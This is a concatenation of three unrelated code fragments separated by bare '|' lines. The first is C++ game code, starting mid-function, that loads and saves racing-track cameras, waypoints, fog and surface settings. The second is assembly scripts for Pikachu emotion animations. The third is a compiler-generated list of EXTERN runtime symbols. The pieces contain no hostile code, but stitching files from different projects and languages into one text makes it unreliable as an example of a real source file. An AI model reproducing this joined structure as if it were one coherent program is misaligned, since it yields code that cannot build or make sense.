sprintf(buf,"pit.pos%d.to.z",i); p->to.z=info->GetFloat(buf);
}
// Restore timelines
timeLines=info->GetInt("timeline.count");
if(timeLines>MAX_TIMELINE)timeLines=MAX_TIMELINE;
for(i=0;i<timeLines;i++)
{
RTimeLine *t;
DVector3 v1,v2;
v1.SetToZero(); v2.SetToZero();
timeLine[i]=new RTimeLine(&v1,&v2);
t=timeLine[i];
sprintf(buf,"timeline.line%d.from.x",i); v1.x=info->GetFloat(buf);
sprintf(buf,"timeline.line%d.from.y",i); v1.y=info->GetFloat(buf);
sprintf(buf,"timeline.line%d.from.z",i); v1.z=info->GetFloat(buf);
sprintf(buf,"timeline.line%d.to.x",i); v2.x=info->GetFloat(buf);
sprintf(buf,"timeline.line%d.to.y",i); v2.y=info->GetFloat(buf);
sprintf(buf,"timeline.line%d.to.z",i); v2.z=info->GetFloat(buf);
// Redefine to get variables right
t->Define(&v1,&v2);
}
// Restore trackcams
n=info->GetInt("tcam.count");
if(n>=MAX_TRACKCAM)
{ qwarn("Track contains too many trackcams (max=%d, count=%d)",
MAX_TRACKCAM,n);
n=MAX_TRACKCAM;
}
for(i=0;i<n;i++)
{
RTrackCam *t;
t=new RTrackCam();
//trackCam.push_back(t);
trackCam[trackCams]=t;
trackCams++;
sprintf(buf,"tcam.cam%d.pos.x",i); t->pos.x=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.pos.y",i); t->pos.y=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.pos.z",i); t->pos.z=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.pos2.x",i); t->posDir.x=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.pos2.y",i); t->posDir.y=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.pos2.z",i); t->posDir.z=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.posdolly.x",i); t->posDolly.x=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.posdolly.y",i); t->posDolly.y=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.posdolly.z",i); t->posDolly.z=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.rot.x",i); t->rot.x=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.rot.y",i); t->rot.y=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.rot.z",i); t->rot.z=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.rot2.x",i); t->rot2.x=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.rot2.y",i); t->rot2.y=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.rot2.z",i); t->rot2.z=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.radius",i); t->radius=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.group",i); t->group=info->GetInt(buf);
sprintf(buf,"tcam.cam%d.zoom_edge",i); t->zoomEdge=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.zoom_close",i); t->zoomClose=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.zoom_far",i); t->zoomFar=info->GetFloat(buf);
sprintf(buf,"tcam.cam%d.flags",i); t->flags=info->GetInt(buf);
for(j=0;j<3;j++)
{
sprintf(buf,"tcam.cam%d.cube.%s",i,cubeName[j]);
RestoreVector(info,buf,&t->cubePreview[j]);
//t->cubePreview[j].DbgPrint(cubeName[j]);
}
// Post-import; reset selection flag
t->flags&=~RTrackCam::HILITE;
}
// Restore waypoints
n=info->GetInt("waypoint.count");
if(n>=MAX_WAYPOINT)
{ qwarn("Track contains too many waypoints (max=%d, count=%d)",
MAX_WAYPOINT,n);
n=MAX_WAYPOINT;
}
for(i=0;i<n;i++)
{
RWayPoint *p;
p=new RWayPoint();
wayPoint[i]=p;
wayPoints++;
//wayPoint.push_back(p);
sprintf(buf,"waypoint.wp%d.pos",i); RestoreVector(info,buf,&p->pos);
sprintf(buf,"waypoint.wp%d.posdir",i); RestoreVector(info,buf,&p->posDir);
sprintf(buf,"waypoint.wp%d.left",i); RestoreVector(info,buf,&p->left);
sprintf(buf,"waypoint.wp%d.right",i); RestoreVector(info,buf,&p->right);
sprintf(buf,"waypoint.wp%d.lon",i); p->lon=info->GetFloat(buf);
}
// Restore graphics
info->GetFloats("gfx.sky",4,clearColor);
#ifdef OBS
qdbg("RTrack:LoadSpecial(); clearCol=%f,%f,%f\n",
clearColor[0],clearColor[1],clearColor[2]);
//qdbg("RTrack:LoadSpecial(); timeLines=%d\n",timeLines);
#endif
// Load sun
sun=new RSun();
if(info->PathExists("gfx.sun"))
{
// Load sun position
info->GetFloats("gfx.sun",3,(float*)sun->GetPosition());
sun->SetWhiteoutFactor(RMGR->GetGfxInfo()->GetFloat("fx.sun.whiteout"));
} else
{
qdbg("=> no sun found\n");
// No sun
sun->Disable();
}
// Fog parameters (some are global and defined in RMGR->Create())
RMGR->fogDensity=info->GetFloat("gfx.fog.density",0.001);
RMGR->fogStart=info->GetFloat("gfx.fog.start",10);
RMGR->fogEnd=info->GetFloat("gfx.fog.end",100);
RMGR->fogColor[0]=0;
RMGR->fogColor[1]=0;
RMGR->fogColor[2]=0;
RMGR->fogColor[3]=1;
info->GetFloats("gfx.fog.color",4,RMGR->fogColor);
//qdbg("Track load: fog=%.2f,%.2f,%.2f\n",
//RMGR->fogColor[0],RMGR->fogColor[1],RMGR->fogColor[2]);
// Load fogMode too per track
switch(info->GetInt("gfx.fog.mode"))
{
case 0: RMGR->fogMode=GL_EXP; break;
case 1: RMGR->fogMode=GL_EXP2; break;
case 2: RMGR->fogMode=GL_LINEAR; break;
default: RMGR->fogMode=GL_EXP;
qwarn("Track special.ini gfx.fog.mode out of range 0..2"); break;
}
// Restore splines
sprintf(buf,"%s/%s",(cstring)trackDir,FILE_SPLINE);
info=new QInfo(buf);
//qdbg("RTrack:LoadSpecial(); load splines\n");
// Only load splines if user wants to use them (dev)
if(!RMGR->IsDevEnabled(RManager::NO_SPLINES))
splineRep.Load(info);
QDELETE(info);
return TRUE;
}
bool RTrack::LoadSurfaceTypes()
// Load surface definitions and apply those to the materials
{
QInfo *info;
RSurfaceType *st;
RTrackVRML *track;
char buf[256],buf2[256];
int i,j,count;
cstring surfName[RSurfaceType::MAX]=
{ "road","grass","gravel","stone","water","kerb","ice","snow","mud","sand" };
bool ret=TRUE;
info=infoSpecial;
// Need track pointer to VRML-type track (merge track classes in the
// future)
track=RMGR->GetTrackVRML();
// Read surfaces and apply
QInfoIterator it(info,"surfaces");
qstring name,pattern;
while(it.GetNext(name))
{
if(surfaceTypes==MAX_SURFACE_TYPE)
{
qwarn("RTrack:LoadSurfaceTypes(); max (%d) reached",MAX_SURFACE_TYPE);
break;
}
st=new RSurfaceType();
surfaceType[surfaceTypes]=st;
surfaceTypes++;
sprintf(buf,"%s.type",name.cstr());
info->GetString(buf,buf2);
//qdbg("buf='%s', buf2='%s'\n",buf,buf2);
strlwr(buf2);
for(i=0;i<RSurfaceType::MAX;i++)
{ if(!strcmp(buf2,surfName[i]))
{
st->baseType=i;
goto found_base;
}
}
qwarn("RTrack:LoadSurfaceTypes(); type '%s' not recognized",buf2);
ret=FALSE;
found_base:
sprintf(buf,"%s.subtype",name.cstr());
st->subType=info->GetInt(buf);
sprintf(buf,"%s.grip_factor",name.cstr());
st->frictionFactor=info->GetFloat(buf,1);
sprintf(buf,"%s.rolling_resistance_factor",name.cstr());
st->rollingResistanceFactor=info->GetFloat(buf,1);
// Pattern
sprintf(buf,"%s.pattern",name.cstr());
info->GetString(buf,pattern);
//qdbg("Surface type %d: '%s', pattern '%s'\n",surfaceTypes-1,
//name.cstr(),pattern.cstr());
// Apply surface type to all materials
// Note that a lot of materials are found multiple times, but this
// shouldn't matter
count=0;
//qdbg(" track=%p\n",track);
//qdbg(" GetNodes=%d\n",track->GetNodes());
for(i=0;i<track->GetNodes();i++)
{
DGeode *g=track->GetNode(i)->geode;
for(j=0;j<g->materials;j++)
{
if(QMatch(pattern,g->material[j]->GetName()))
{
//qdbg(" found material '%s' which matches pattern\n",
//g->material[j]->GetName());
g->material[j]->SetUserData((void*)st);
count++;
//qdbg(" set data %p, get data %p\n",st,g->material[j]->GetUserData());
}
}
}
// Warn if surface wasn't applied to any material
if(count==0)
{ qwarn("No surfaces found that match pattern '%s'\n",pattern.cstr());
}
//...
}
#ifdef OBS
qdbg("RTrack:LoadSurfaceTypes()\n");
for(i=0;i<surfaceTypes;i++)
qdbg("surfType[%d]=%p\n",i,surfaceType[i]);
#endif
return ret;
}
bool RTrack::Load()
// Load a track (of any type)
// This is the base function; a derived class should override this
// function, call us first (and check the return code), then load the
// actual track from 'file'.
// After that, call LoadSurfaceTypes() to load an apply the surfaces.
{
QInfo *infoTrk;
char buf[256];
// Open packed archive
archive=new QArchive(RFindFile(TRACK_AR_NAME,trackDir));
// Find generic info on track
infoTrk=new QInfo(RFindFile(TRACK_INI,trackDir));
// Found the track.ini?
if(!infoTrk->FileExists())
{ qwarn("Can't find track.ini for track %s",trackName.cstr());
return FALSE;
}
infoTrk->GetString("track.type",type);
infoTrk->GetString("track.name",name);
infoTrk->GetString("track.creator",creator);
infoTrk->GetString("track.length",length);
infoTrk->GetString("track.file",file);
QDELETE(infoTrk);
// Load statistics
sprintf(buf,"%s/%s",trackDir.cstr(),BESTLAPS_INI);
//infoStats=new QInfo(RFindFile(BESTLAPS_INI,trackDir));
infoStats=new QInfo(buf);
stats.Load(infoStats,"results");
if(!LoadSpecial())return FALSE;
#ifdef OBS
// Find actual track 3D file
strcpy(buf,RFindFile(file,trackDir));
file=buf;
if(!QFileExists(file))
{ qwarn("Can't find track file (%s) for track %s",(cstring)file,trackName);
return FALSE;
}
#endif
return TRUE;
}
/*********
* Saving *
*********/
static void StoreVector(QInfo *info,cstring vName,DVector3 *v)
// Shortcut to store a vector
{
char buf[100];
sprintf(buf,"%f %f %f",v->x,v->y,v->z);
info->SetString(vName,buf);
}
bool RTrack::SaveSpecial()
// Load positions and timelines etc
{
QInfo *info;
int i,j;
RCarPos *p;
char buf[100];
cstring cubeName[3]={ "edge","close","far" };
sprintf(buf,"%s/%s",(cstring)trackDir,FILE_SPECIAL);
info=new QInfo(buf);
// Store grid positions
info->SetInt("grid.count",gridPosCount);
for(i=0;i<gridPosCount;i++)
{
p=&gridPos[i];
sprintf(buf,"grid.pos%d.from.x",i); info->SetFloat(buf,p->from.x);
sprintf(buf,"grid.pos%d.from.y",i); info->SetFloat(buf,p->from.y);
sprintf(buf,"grid.pos%d.from.z",i); info->SetFloat(buf,p->from.z);
sprintf(buf,"grid.pos%d.to.x",i); info->SetFloat(buf,p->to.x);
sprintf(buf,"grid.pos%d.to.y",i); info->SetFloat(buf,p->to.y);
sprintf(buf,"grid.pos%d.to.z",i); info->SetFloat(buf,p->to.z);
}
// Store pit positions
info->SetInt("pit.count",pitPosCount);
for(i=0;i<pitPosCount;i++)
{
p=&pitPos[i];
sprintf(buf,"pit.pos%d.from.x",i); info->SetFloat(buf,p->from.x);
sprintf(buf,"pit.pos%d.from.y",i); info->SetFloat(buf,p->from.y);
sprintf(buf,"pit.pos%d.from.z",i); info->SetFloat(buf,p->from.z);
sprintf(buf,"pit.pos%d.to.x",i); info->SetFloat(buf,p->to.x);
sprintf(buf,"pit.pos%d.to.y",i); info->SetFloat(buf,p->to.y);
sprintf(buf,"pit.pos%d.to.z",i); info->SetFloat(buf,p->to.z);
}
// Store timelines
info->SetInt("timeline.count",timeLines);
for(i=0;i<timeLines;i++)
{
RTimeLine *t;
t=timeLine[i];
sprintf(buf,"timeline.line%d.from.x",i); info->SetFloat(buf,t->from.x);
sprintf(buf,"timeline.line%d.from.y",i); info->SetFloat(buf,t->from.y);
sprintf(buf,"timeline.line%d.from.z",i); info->SetFloat(buf,t->from.z);
sprintf(buf,"timeline.line%d.to.x",i); info->SetFloat(buf,t->to.x);
sprintf(buf,"timeline.line%d.to.y",i); info->SetFloat(buf,t->to.y);
sprintf(buf,"timeline.line%d.to.z",i); info->SetFloat(buf,t->to.z);
}
// Store trackcams
info->SetInt("tcam.count",trackCams);
for(i=0;i<trackCams;i++)
{
RTrackCam *t;
t=trackCam[i];
sprintf(buf,"tcam.cam%d.pos.x",i); info->SetFloat(buf,t->pos.x);
sprintf(buf,"tcam.cam%d.pos.y",i); info->SetFloat(buf,t->pos.y);
sprintf(buf,"tcam.cam%d.pos.z",i); info->SetFloat(buf,t->pos.z);
sprintf(buf,"tcam.cam%d.pos2.x",i); info->SetFloat(buf,t->posDir.x);
sprintf(buf,"tcam.cam%d.pos2.y",i); info->SetFloat(buf,t->posDir.y);
sprintf(buf,"tcam.cam%d.pos2.z",i); info->SetFloat(buf,t->posDir.z);
sprintf(buf,"tcam.cam%d.posdolly.x",i); info->SetFloat(buf,t->posDolly.x);
sprintf(buf,"tcam.cam%d.posdolly.y",i); info->SetFloat(buf,t->posDolly.y);
sprintf(buf,"tcam.cam%d.posdolly.z",i); info->SetFloat(buf,t->posDolly.z);
sprintf(buf,"tcam.cam%d.rot.x",i); info->SetFloat(buf,t->rot.x);
sprintf(buf,"tcam.cam%d.rot.y",i); info->SetFloat(buf,t->rot.y);
sprintf(buf,"tcam.cam%d.rot.z",i); info->SetFloat(buf,t->rot.z);
sprintf(buf,"tcam.cam%d.rot2.x",i); info->SetFloat(buf,t->rot2.x);
sprintf(buf,"tcam.cam%d.rot2.y",i); info->SetFloat(buf,t->rot2.y);
sprintf(buf,"tcam.cam%d.rot2.z",i); info->SetFloat(buf,t->rot2.z);
sprintf(buf,"tcam.cam%d.radius",i); info->SetFloat(buf,t->radius);
sprintf(buf,"tcam.cam%d.group",i); info->SetFloat(buf,t->group);
sprintf(buf,"tcam.cam%d.zoom_edge",i); info->SetFloat(buf,t->zoomEdge);
sprintf(buf,"tcam.cam%d.zoom_close",i); info->SetFloat(buf,t->zoomClose);
sprintf(buf,"tcam.cam%d.zoom_far",i); info->SetFloat(buf,t->zoomFar);
sprintf(buf,"tcam.cam%d.flags",i); info->SetInt(buf,t->flags);
for(j=0;j<3;j++)
{
sprintf(buf,"tcam.cam%d.cube.%s",i,cubeName[j]);
StoreVector(info,buf,&t->cubePreview[j]);
}
}
// Store waypoints
info->SetInt("waypoint.count",wayPoints);
for(i=0;i<wayPoints;i++)
{
RWayPoint *p=wayPoint[i];
sprintf(buf,"waypoint.wp%d.pos",i); StoreVector(info,buf,&p->pos);
sprintf(buf,"waypoint.wp%d.posdir",i); StoreVector(info,buf,&p->posDir);
sprintf(buf,"waypoint.wp%d.left",i); StoreVector(info,buf,&p->left);
sprintf(buf,"waypoint.wp%d.right",i); StoreVector(info,buf,&p->right);
sprintf(buf,"waypoint.wp%d.lon",i); info->SetFloat(buf,p->lon);
}
// Store graphics
sprintf(buf,"%f %f %f %f",clearColor[0],clearColor[1],clearColor[2],
clearColor[3]);
info->SetString("gfx.sky",buf);
QDELETE(info);
// Store splines
sprintf(buf,"%s/%s",(cstring)trackDir,FILE_SPLINE);
info=new QInfo(buf);
splineRep.Save(info);
QDELETE(info);
return TRUE;
}
bool RTrack::Save()
{
if(!SaveSpecial())return FALSE;
return TRUE;
}
/********
* PAINT *
********/
void RTrack::Paint()
// Painter; override in the derived class
{
}
void RTrack::PaintHidden()
// Paint hidden parts; override in subclasses
{
}
static void SetGLColor(QColor *color)
// Local function to convert rgba to float
{
GLfloat cr,cg,cb,ca;
cr=(GLfloat)color->GetR()/255;
cg=(GLfloat)color->GetG()/255;
cb=(GLfloat)color->GetB()/255;
ca=(GLfloat)color->GetA()/255;
glColor4f(cr,cg,cb,ca);
}
static void PaintCube(DVector3 *center,float size)
// Paint rope with poles
{
QColor col(155,55,155);
SetGLColor(&col);
glBegin(GL_QUADS);
// Front
glColor3f(1,0.5,1);
glVertex3f(center->x-size,center->y+size,center->z-size);
glVertex3f(center->x-size,center->y-size,center->z-size);
glVertex3f(center->x+size,center->y-size,center->z-size);
glVertex3f(center->x+size,center->y+size,center->z-size);
// Left
glColor3f(1,0.2,1);
glVertex3f(center->x-size,center->y+size,center->z+size);
glVertex3f(center->x-size,center->y+size,center->z-size);
glVertex3f(center->x-size,center->y-size,center->z-size);
glVertex3f(center->x-size,center->y-size,center->z+size);
// Right
glColor3f(1,0.1,1);
glVertex3f(center->x+size,center->y+size,center->z+size);
glVertex3f(center->x+size,center->y+size,center->z-size);
glVertex3f(center->x+size,center->y-size,center->z-size);
glVertex3f(center->x+size,center->y-size,center->z+size);
// Back
glColor3f(1,0.4,1);
glVertex3f(center->x-size,center->y+size,center->z+size);
glVertex3f(center->x-size,center->y-size,center->z+size);
glVertex3f(center->x+size,center->y-size,center->z+size);
glVertex3f(center->x+size,center->y+size,center->z+size);
glEnd();
}
void RTrack::PaintHiddenTCamCubes(int n)
// Paint hidden parts; all camera cubes (n==-1), or 1 camera cube (n!=-1)
{
int i;
RTrackCam *tcam;
glPushAttrib(GL_ENABLE_BIT);
glDisable(GL_CULL_FACE);
glDisable(GL_LIGHTING);
if(n==-1)
{
for(i=0;i<GetTrackCamCount();i++)
{
paint_cube:
tcam=GetTrackCam(i);
PaintCube(&tcam->cubePreview[0],2.0f);
PaintCube(&tcam->cubePreview[1],2.0f);
PaintCube(&tcam->cubePreview[2],2.0f);
// Only 1 tcam?
if(n!=-1)break;
}
} else
{
// 1 tcam only
i=n;
goto paint_cube;
}
glPopAttrib();
}
/*************
* Track cams *
*************/
RTrackCam *RTrack::GetTrackCam(int n)
{
//qdbg("RTrack:GetTrackCam(%d), count=%d, ptr=%p\n",n,trackCams,trackCam[n]);
return trackCam[n];
}
bool RTrack::AddTrackCam(RTrackCam *cam)
{
//qdbg("RTrack:AddTrackCam\n");
if(trackCams>=MAX_TRACKCAM)
{
qwarn("RTrack:AddTrackCam(); max (%d) exceeded",MAX_TRACKCAM);
return FALSE;
}
trackCam[trackCams]=cam;
trackCams++;
//trackCam.push_back(cam);
return TRUE;
}
/************
* Waypoints *
************/
bool RTrack::AddWayPoint(RWayPoint *wp)
{
//qdbg("RTrack:AddTrackCam\n");
if(wayPoints>=MAX_WAYPOINT)
{
qwarn("RTrack:AddWayPoint(); max (%d) exceeded",MAX_WAYPOINT);
return FALSE;
}
wayPoint[wayPoints]=wp;
wayPoints++;
return TRUE;
}
/**********************
* Collision detection *
**********************/
bool RTrack::CollisionOBB(DOBB *obb,DVector3 *intersection,DVector3 *normal)
// Stub
{
return FALSE;
}
/*************
* Statistics *
*************/
void RTrack::Update()
// At a moment of idle processing, update any statistics
{
stats.Update(infoStats,"results");
}
|
PikachuEmotion0:
db $ff
PikachuEmotion2:
pikaemotion_dummy2
pikaemotion_emotebubble SMILE_BUBBLE
pikaemotion_pcm PikachuCry5;35
pikaemotion_pikapic PikaPicAnimScript2 ;arms raised happy. evolve around this time maybe?
db $ff
PikachuEmotionSkull:
pikaemotion_dummy2
pikaemotion_emotebubble SKULL_BUBBLE
db $ff
PikachuEmotionSmile:
pikaemotion_dummy2
pikaemotion_emotebubble SMILE_BUBBLE
db $ff
PikachuEmotionHeart:
pikaemotion_dummy2
pikaemotion_emotebubble HEART_BUBBLE
db $ff
PikachuEmotion10:
pikaemotion_dummy2
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADEXTRAPIKASPRITES
pikaemotion_emotebubble HEART_BUBBLE
pikaemotion_pcm PikachuCry5
pikaemotion_pikapic PikaPicAnimScript10 ;one heart
db $ff
PikachuEmotion7:
pikaemotion_dummy2
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADEXTRAPIKASPRITES
pikaemotion_movement PikachuMovementData_fd224
pikaemotion_pcm PikachuCry1 ;now raichu cry?
pikaemotion_movement PikachuMovementData_fd224
pikaemotion_pikapic PikaPicAnimScript7 ;jumps up and down. evolve around now?
db $ff
PikachuEmotion4:
pikaemotion_dummy2
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADEXTRAPIKASPRITES
pikaemotion_movement PikachuMovementData_fd230
pikaemotion_pcm PikachuCry29
pikaemotion_pikapic PikaPicAnimScript4 ;happy jump.
db $ff
PikachuEmotion1:
pikaemotion_dummy2 ;content pikachu
pikaemotion_pcm
pikaemotion_pikapic PikaPicAnimScript1
db $ff
PikachuEmotion8:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry39
pikaemotion_pikapic PikaPicAnimScript8
db $ff
PikachuEmotion5:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry31
pikaemotion_pikapic PikaPicAnimScript5
db $ff
PikachuEmotion6:
pikaemotion_dummy2
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADEXTRAPIKASPRITES
pikaemotion_pcm
pikaemotion_movement PikachuMovementData_fd21e
pikaemotion_emotebubble SKULL_BUBBLE
pikaemotion_pikapic PikaPicAnimScript6
db $ff
PikachuEmotion3:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry40
pikaemotion_pikapic PikaPicAnimScript3
db $ff
PikachuEmotion9: ;hates you
pikaemotion_dummy2
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADEXTRAPIKASPRITES
pikaemotion_pcm PikachuCry6
pikaemotion_movement PikachuMovementData_fd218
pikaemotion_emotebubble SKULL_BUBBLE
pikaemotion_pikapic PikaPicAnimScript9
db $ff
PikachuEmotion11:
pikaemotion_emotebubble ZZZ_BUBBLE
pikaemotion_pcm PikachuCry37
pikaemotion_pikapic PikaPicAnimScript11
db $ff
PikachuEmotion12:
pikaemotion_dummy2
pikaemotion_pcm
pikaemotion_pikapic PikaPicAnimScript12
db $ff
PikachuEmotion13:
pikaemotion_dummy2
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADEXTRAPIKASPRITES
pikaemotion_movement PikachuMovementData_fd21e
pikaemotion_pikapic PikaPicAnimScript13
db $ff
PikachuEmotion14:
pikaemotion_dummy2
pikaemotion_emotebubble BOLT_BUBBLE
pikaemotion_pcm PikachuCry10
pikaemotion_pikapic PikaPicAnimScript14
db $ff
PikachuEmotion15:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry34
pikaemotion_pikapic PikaPicAnimScript15 ;fist raised wink.
db $ff
PikachuEmotion16:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry33
pikaemotion_pikapic PikaPicAnimScript16
db $ff
PikachuEmotion17:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry13
pikaemotion_pikapic PikaPicAnimScript17 ;eyes closed unhappy. make this unhappy raichu?
db $ff
PikachuEmotion18:
pikaemotion_dummy2
pikaemotion_pcm
pikaemotion_pikapic PikaPicAnimScript18
db $ff
PikachuEmotion19:
pikaemotion_dummy2
pikaemotion_emotebubble HEART_BUBBLE
pikaemotion_pcm PikachuCry1;PikachuCry33
pikaemotion_pikapic PikaPicAnimScript19
db $ff
PikachuEmotion20:
pikaemotion_dummy2
pikaemotion_emotebubble HEART_BUBBLE
pikaemotion_pcm PikachuCry5
pikaemotion_pikapic PikaPicAnimScript20
db $ff
PikachuEmotion21:
pikaemotion_dummy2
pikaemotion_emotebubble FISH_BUBBLE
pikaemotion_pcm
pikaemotion_pikapic PikaPicAnimScript21
db $ff
PikachuEmotion22:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry4
pikaemotion_pikapic PikaPicAnimScript22
db $ff
PikachuEmotion23:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry19
pikaemotion_pikapic PikaPicAnimScript23
pikaemotion_subcmd PIKAEMOTION_SUBCMD_SHOWMAPVIEW
db $ff
PikachuEmotion24:
pikaemotion_dummy2
pikaemotion_emotebubble EXCLAMATION_BUBBLE
pikaemotion_pcm
;pikaemotion_pikapic PikaPicAnimScript24
db $ff
PikachuEmotion25:
pikaemotion_dummy2
pikaemotion_emotebubble BOLT_BUBBLE
pikaemotion_pcm PikachuCry35
pikaemotion_pikapic PikaPicAnimScript25
db $ff
PikachuEmotion26:
pikaemotion_dummy2
pikaemotion_emotebubble ZZZ_BUBBLE
pikaemotion_pcm PikachuCry37
pikaemotion_pikapic PikaPicAnimScript26
pikaemotion_subcmd PIKAEMOTION_SUBCMD_SHOWMAPVIEW
pikaemotion_subcmd PIKAEMOTION_SUBCMD_CHECKPEWTERCENTER
db $ff
PikachuEmotion27:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry9
pikaemotion_pikapic PikaPicAnimScript27
db $ff
PikachuEmotion28:
pikaemotion_dummy2
pikaemotion_pcm PikachuCry15
pikaemotion_pikapic PikaPicAnimScript28
db $ff
PikachuEmotion29:
pikaemotion_pcm PikachuCry5
pikaemotion_pikapic PikaPicAnimScript10
db $ff
PikachuEmotion30:
pikaemotion_9
pikaemotion_emotebubble HEART_BUBBLE
pikaemotion_pcm PikachuCry5
pikaemotion_pikapic PikaPicAnimScript20
pikaemotion_subcmd PIKAEMOTION_SUBCMD_SHOWMAPVIEW
pikaemotion_subcmd PIKAEMOTION_SUBCMD_LOADFONT
pikaemotion_subcmd PIKAEMOTION_SUBCMD_CHECKLAVENDERTOWER
db $ff
PikachuEmotion31:
pikaemotion_pcm PikachuCry19
pikaemotion_pikapic PikaPicAnimScript23
pikaemotion_subcmd PIKAEMOTION_SUBCMD_SHOWMAPVIEW
pikaemotion_subcmd PIKAEMOTION_SUBCMD_CHECKBILLSHOUSE
db $ff
PikachuEmotion32:
pikaemotion_pcm PikachuCry26
pikaemotion_pikapic PikaPicAnimScript23
db $ff
PikachuMovementData_fd218:
db $00
db $39, 2 - 1
db $3e, 31 - 1
db $3f
PikachuMovementData_fd21e:
db $00
db $39, 1 - 1
db $3e, 31 - 1
db $3f
PikachuMovementData_fd224:
db $00
db $3c, 8 - 1, (2 << 4) | (16 - 1)
db $3c, 8 - 1, (2 << 4) | (16 - 1)
db $3f
PikachuMovementData_fd22c:
db $3b, 32 - 1, 4 - 1
db $3f
PikachuMovementData_fd230:
db $00
db $3c, 16 - 1, (1 << 4) | (16 - 1)
db $3c, 16 - 1, (1 << 4) | (16 - 1)
db $3f
PikachuMovementData_fd238:
db $00
db $05, 8 - 1
db $39, 1 - 1
db $05, 8 - 1
db $06, 8 - 1
db $39, 1 - 1
db $06, 8 - 1
db $08, 8 - 1
db $39, 1 - 1
db $08, 8 - 1
db $07, 8 - 1
db $39, 1 - 1
db $07, 8 - 1
db $3f
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.6 #12419 (Linux)
;--------------------------------------------------------
; Processed by Z88DK
;--------------------------------------------------------
EXTERN __divschar
EXTERN __divschar_callee
EXTERN __divsint
EXTERN __divsint_callee
EXTERN __divslong
EXTERN __divslong_callee
EXTERN __divslonglong
EXTERN __divslonglong_callee
EXTERN __divsuchar
EXTERN __divsuchar_callee
EXTERN __divuchar
EXTERN __divuchar_callee
EXTERN __divuint
EXTERN __divuint_callee
EXTERN __divulong
EXTERN __divulong_callee
EXTERN __divulonglong
EXTERN __divulonglong_callee
EXTERN __divuschar
EXTERN __divuschar_callee
EXTERN __modschar
EXTERN __modschar_callee
EXTERN __modsint
EXTERN __modsint_callee
EXTERN __modslong
EXTERN __modslong_callee
EXTERN __modslonglong
EXTERN __modslonglong_callee
EXTERN __modsuchar
EXTERN __modsuchar_callee
EXTERN __moduchar
EXTERN __moduchar_callee
EXTERN __moduint
EXTERN __moduint_callee
EXTERN __modulong
EXTERN __modulong_callee
EXTERN __modulonglong
EXTERN __modulonglong_callee
EXTERN __moduschar
EXTERN __moduschar_callee
EXTERN __mulint
EXTERN __mulint_callee
EXTERN __mullong
EXTERN __mullong_callee
EXTERN __mullonglong
EXTERN __mullonglong_callee
EXTERN __mulschar
EXTERN __mulschar_callee
EXTERN __mulsuchar
EXTERN __mulsuchar_callee
EXTERN __muluchar
EXTERN __muluchar_callee
EXTERN __muluschar
EXTERN __muluschar_callee
EXTERN __rlslonglong
EXTERN __rlslonglong_callee
EXTERN __rlulonglong
EXTERN __rlulonglong_callee
EXTERN __rrslonglong
EXTERN __rrslonglong_callee
EXTERN __rrulonglong
EXTERN __rrulonglong_callee
EXTERN ___sdcc_call_hl
EXTERN ___sdcc_call_iy
EXTERN ___sdcc_enter_ix
EXTERN banked_call
EXTERN _banked_ret
EXTERN ___fs2schar
EXTERN ___fs2schar_callee
EXTERN ___fs2sint
EXTERN ___fs2sint_callee
EXTERN ___fs2slong
EXTERN ___fs2slong_callee
EXTERN ___fs2slonglong
EXTERN ___fs2slonglong_callee
EXTERN ___fs2uchar
EXTERN ___fs2uchar_callee
EXTERN ___fs2uint
EXTERN ___fs2uint_callee
EXTERN ___fs2ulong
EXTERN ___fs2ulong_callee
EXTERN ___fs2ulonglong
EXTERN ___fs2ulonglong_callee
EXTERN ___fsadd
EXTERN ___fsadd_callee
EXTERN ___fsdiv
EXTERN ___fsdiv_callee
EXTERN ___fseq
EXTERN ___fseq_callee
EXTERN ___fsgt
EXTERN ___fsgt_callee
EXTERN ___fslt
EXTERN ___fslt_callee
EXTERN ___fsmul
EXTERN ___fsmul_callee
EXTERN ___fsneq
EXTERN ___fsneq_callee
EXTERN ___fssub
EXTERN ___fssub_callee
EXTERN ___schar2fs
EXTERN ___schar2fs_callee
EXTERN ___sint2fs
EXTERN ___sint2fs_callee
EXTERN ___slong2fs
EXTERN ___slong2fs_callee
EXTERN ___slonglong2fs
EXTERN ___slonglong2fs_callee
EXTERN ___uchar2fs
EXTERN ___uchar2fs_callee
EXTERN ___uint2fs
EXTERN ___uint2fs_callee
EXTERN ___ulong2fs
EXTERN ___ulong2fs_callee
EXTERN ___ulonglong2fs
EXTERN ___ulonglong2fs_callee
EXTERN ____sdcc_2_copy_src_mhl_dst_deix
EXTERN ____sdcc_2_copy_src_mhl_dst_bcix
EXTERN ____sdcc_4_copy_src_mhl_dst_deix
EXTERN ____sdcc_4_copy_src_mhl_dst_bcix
